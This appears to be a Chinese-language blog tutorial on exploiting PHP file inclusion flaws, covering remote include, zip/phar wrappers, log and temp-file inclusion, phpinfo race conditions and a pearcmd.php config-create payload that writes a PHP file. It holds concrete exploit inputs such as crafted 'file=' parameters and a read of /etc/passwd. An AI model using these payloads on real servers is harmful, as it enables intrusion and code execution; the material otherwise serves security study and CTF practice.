0x00 简介
距离上次正儿八经的总结文件包含这个漏洞已经很久了,这里想写一下,针对于各种场景的文件包含漏洞的利用
0x01 场景归类
从代码层面归纳,实际场景中遇到的文件包含的基本只有如下几种情况
include $_REQUEST['file'];
include 'test/'.$_REQUEST['file'];
include $_REQUEST['file'].'.php'
include 'rest/'.$_REQUEST['file'].'.php'
目标系统可分为
- linux环境(非docker)
- docker环境
- windows环境
对于文件操作也可分为
- 可上传图片类文件
- 不可上传
下面从不同环境的组合进行说明,以本地包含和远程包含为大类
远程包含
适用代码
1 | include $_REQUEST['file']; |
需要php.ini开启
allow_url_fopen=on
allow_url_include=on
这种就很简单了,直接包含远程的文件即可,没有什么其他的限制
- http/https(ftp没试)
这里需要注意的是如果去包含一个php文件,那么远程的php文件应该是echo输出需要执行的代码,不然就是解析的远程文件
还有输入流协议
- php://input
两种情况测试如下
同样的,当允许远程包含的时候也可以使用data协议
- data: text/plain; base64
本地包含
存在上传条件
当可以上传时,下列两种代码可以任意包含,不做讨论
1 | include $_REQUEST['file']; |
00截断
限制条件
php<5.3
magic_quotes_gpc = off
在可以上传文件的web环境中,适用代码
1 | include $_REQUEST['file'].'.php' |
都可以用截断,只是有的没必要
伪协议
无限制,主要是用到压缩类协议,适用代码
1 | include $_REQUEST['file'].'.php' |
- zip
- phar
zip协议,就是将php文件进行压缩,然后按照常规网站的上传方式上传即可,此处以常规网站可上传图片文件为例
1 | file=zip://./test.gif#test |
phar协议的话,就先生成一个文件,生成代码如下
1 |
|
其实真实环境中这种利用方式还是很常见的
无法上传
当然在ctf的题目中,基本上都是围绕着无法上传来展开的,这里就不再考虑截断的问题
包含日志
这里列举下常用的日志位置
apache&linux
1 | /var/log/apache2/access.log //访问日志 |
nginx&linux
1 | /var/log/nginx/access.log //访问日志 |
宝塔面板
1 | /www/wwwlogs/access.log //面板运行日志 |
小皮面板
这里注意apache和nginx的版本
1 | WEBROOT/../../Extensions/Apache2.4.39/conf/httpd.conf //apahce配置文件 |
WAMP
–
适用代码
1 | include $_REQUEST['file']; |
测试环境小皮面板
包含缓存文件
在PHP中,当我们对任意一个PHP文件发送一个上传的数据包请求时,无论后端是否会处理$_FILES变量,PHP都会将我们上传的数据保存到一个临时文件中以待处理,当这个PHP文件被正常执行完成时,这个临时文件会被删除,如果PHP进程被阻断,则这个缓存文件会被留在临时目录中。
所以当我们向存在文件包含文件发送一个上传的请求时,当执行到include代码时,此时的缓存文件是存在系统的临时目录中的
在不修改php.ini的情况下,一般存在于系统的临时目录
- Windows:
C:/windows/temp
或者C:/windows
- Linux:/tmp
这里关于缓存文件的名字
- linux下为php加六位随机字符:php000000-phpFFFFFF(phpffffff)
- windows下随机字符的长度最多位四位,windows不区分大小写,缓存文件按顺序递增,到ffff之后重新循环
- php0.tmp-phpf.tmp
- php00.tmp-phpff.tmp
- php000.tmp-phpfff.tmp
- php0000.tmp-phpffff.tmp
windwos下利用
适用代码
1 | include $_REQUEST['file']; |
windows下肯定是可以直接爆破的,直接构造多个上传文件
直接去爆破就可以了,就爆888
不到一分钟
除此之外,windows下还可以使用通配符
之前关于file_get_contents就经常用到
PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:这里提到的通配符是?
和*
但是实际测试后,其实这两个是没有办法用的,在在MSDN官方文档中还可以看到这样的说明
这三个分别是
1 |
也就是说:
DOS_STAR
:即<
,匹配0个以上的字符DOS_QM
:即>
,匹配1个字符DOS_DOT
:即"
,匹配点号
可以直接用<>
来进行匹配,当然这也有缺陷,就是如果存在未删除的永久驻留的缓存,就匹配不到我们想要匹配的文件还是得爆破一下,如下就没有匹配到想要的文件
1 | file=C:/Windows/php>>>>">>> |
稍微改动一下就可以
至于<<
,也匹配不到
要想精确匹配,也需要长度正好
1 | file=C:/Windows/php1<<<<<<< |
linux下利用
利用phpinfo页面
适用代码
1 | include $_REQUEST['file']; |
主要也是用phpinfo里面的临时文件的路径
当我们向一个phpinfo页面,提供上传的数据包时,phpinfo页面会记录下php生成的缓存文件路径
这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用
所以此时需要利用到条件竞争,原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用
在p神的文章中提到三个提高成功率的方法,复制了。
- 使用大量线程来进行第二个操作,来让包含操作尽可能早于临时文件被删除
- 如果目标环境开启了
output_buffering
这个配置(在某些环境下是默认的),那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高 - 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启
output_buffering
时是没有影响的。
session.upload_progress与Session文件包含
适用代码
1 | include $_REQUEST['file']; |
这个之前写过,就不重复了
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
利用PHP crash
适用代码
1 | include $_REQUEST['file']; |
原理就是当php在请求结束之前,出现异常直接退出,那么上传数据包中的文件,将会被留在服务器上
p神博客中提到了两个
1 | include 'php://filter/string.strip_tags/resource=/etc/passwd'; |
最后再去爆破文件即可
利用nginx缓存
适用代码
1 | include $_REQUEST['file']; |
这种情况比较极端,但是不一定是在极端的情况下才能用,正常情况下也可以
具体可以参考hxp CTF 2021 - A New Novel LFI
pearcmd.php利用
适用代码
1 | include $_REQUEST['file'].".php"; |
限制条件
- docker
新拉取一个全新的docker环境
1 | docker pull php:7.4-apache |
进入容器,查找一下所有的php文件
1 | docker exec -it "id" bash |
可以从这些文件中查找是否存在利用的点
压缩下载
1 | find / -name "*.php" > /tmp/php.txt |
这里主要看到两个可操作文件,最终能操作的只有pearcmd.php
- pearcmd.php
- run-test.php(自己编译的可能还有server-test.php)
当然,这两个文件都是需要在命令行操作的,但是在某些条件下,web可以操作argv
- register_argc_argv->on
这就是为啥要求docker的原因,因为在php.ini中这个参数是默认关闭的,但是在doker中的php环境默认没有使用php.ini启动,所以是开启的
当开启了这个选项,用户的输入将会被赋予给$argc
、$argv
、$_SERVER['argv']
几个变量
当php以server的形式运行,且开启了这个变量,php的处理代码如下
1 | static zend_bool php_auto_globals_create_server(zend_string *name) |
这里可以看出,HTTP数据包中的query-string会被作为argv的值
但是只能是$_SERVER['argv']
的值
测试代码
1 |
|
看一下pearcmd.php中是怎么获取argv参数的
这里就是从$_SERVER
中获取的
看一下pearcmd中可以用的命令参数
- config-create
这个命令的操作代码如下
需要第一个root参数的第一个字符是/
第二个参数就是文件名字
直接构造
1 | /lfi.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo();?>+/tmp/hello.php |
然后再包含这个文件就可以,或者直接写到可执行的目录下
伪协议+过滤器
适用代码
1 | include $_REQUEST['file'].".php"; |
这里主要就是协议可控
这个之前也写过了linux下无文件本地文件包含
为什么说linux呢,ubuntu或者centos测试过都是可以用的
但是windows下,默认的编码集,部分可能不存在,所以导致无法利用
这种同样适合写文件,在极致cms中就存在这种漏洞的利用
这个很强
0x02 end
参考文章